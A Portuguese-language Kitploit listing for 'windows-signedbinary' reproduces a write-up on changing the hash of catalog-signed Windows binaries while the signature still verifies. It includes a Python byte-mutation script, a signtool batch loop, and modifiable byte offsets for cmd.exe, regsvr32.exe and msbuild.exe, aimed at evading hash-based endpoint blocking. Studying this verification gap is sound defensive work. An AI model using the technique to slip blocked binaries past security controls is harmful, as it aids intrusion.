Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Windows-SignedBinary — Muta binários Windows assinados para reter assinaturas de catálogo válidas enquanto altera os hashes dos arquivos, contornando bloqueios de endpoints baseados em hash e expondo lacunas na verificação do Authenticode. | Kitploit
Ferramentas/GitHubGitHub/mr-un1k0d3r/windows-signedbinary
Análise de HashEvasão de IDS/IPSEngenharia ReversaTestes de PenetraçãoAnálise de BináriosRed TeamingAtaque Adversário
GitHubmr-un1k0d3r/windows-signedbinary

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Windows-SignedBinary

Muta binários Windows assinados para reter assinaturas de catálogo válidas enquanto altera os hashes dos arquivos, contornando bloqueios de endpoints baseados em hash e expondo lacunas na verificação do Authenticode.

Ver Repositório
2596624há 7 anosRevisado pelo Kitploit

Gerar Binário Assinado do Windows com um Hash Diferente

A ideia era contornar soluções de endpoint que bloqueiam aplicativos assinados conhecidos como "maliciosos", como "regsvr32.exe". Eu queria encontrar uma maneira de obter um arquivo assinado válido com um hash diferente.

A Análise

Usando signtool verify /v /a cmd.exe

C:\signcheck>signtool verify /a /v cmd.exe

Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3

Signing Certificate Chain:
    Issued to: Microsoft Root Certificate Authority
    Issued by: Microsoft Root Certificate Authority
    Expires:   Sun May 09 19:28:13 2021
    SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072

Pensei que o "Hash do arquivo" era o SHA1 do cmd.exe com base na saída (7EB22CBAA74B208DF433C70C06A99280036A52F3)

Uma verificação adicional revelou que o SHA1 do arquivo cmd.exe era

$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

Interessante: o mesmo arquivo com 2 hashes diferentes.

Gerando Arquivos de Teste

Nesse ponto, suspeitei que a assinatura poderia não incluir todas as seções do arquivo.

Escrevi um script python simples para gerar arquivos de teste.

import sys

orig = list(open(sys.argv[1], "rb").read())

i = 0
while i < len(orig):
	current = list(orig)
	current[i] = chr(ord(current[i]) ^ 0xde)
	path = "%d.exe" % i
	
	output = "".join(str(e) for e in current)
	open(path, "wb").write(output)
	i += 1
	
print "done"

Em seguida, python generate.py cmd.exe foi executado e gerou mais de 300 Gb de novos arquivos.

Etapa Final

Agora precisamos validar cada arquivo criado para ver se eles passam no teste de assinatura.

Um simples arquivo batch pode fazer isso.

FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a %%A.exe
)

O binário 330.exe passou na verificação de assinatura. Nesse caso, o arquivo é diferente, pois o offset 330 foi modificado.

C:\signcheck>signtool verify /a /v 330.exe

Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe

$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

cmd.exe

Os seguintes bytes podem ser modificados sem quebrar a assinatura: 330, 331, 408 - 412

regsvr32.exe

Os seguintes bytes podem ser modificados sem quebrar a assinatura: 320 - 323, 400 - 407

msbuild.exe (x86)

Os seguintes bytes podem ser modificados sem quebrar a assinatura: 216 - 219

Baixar ferramenta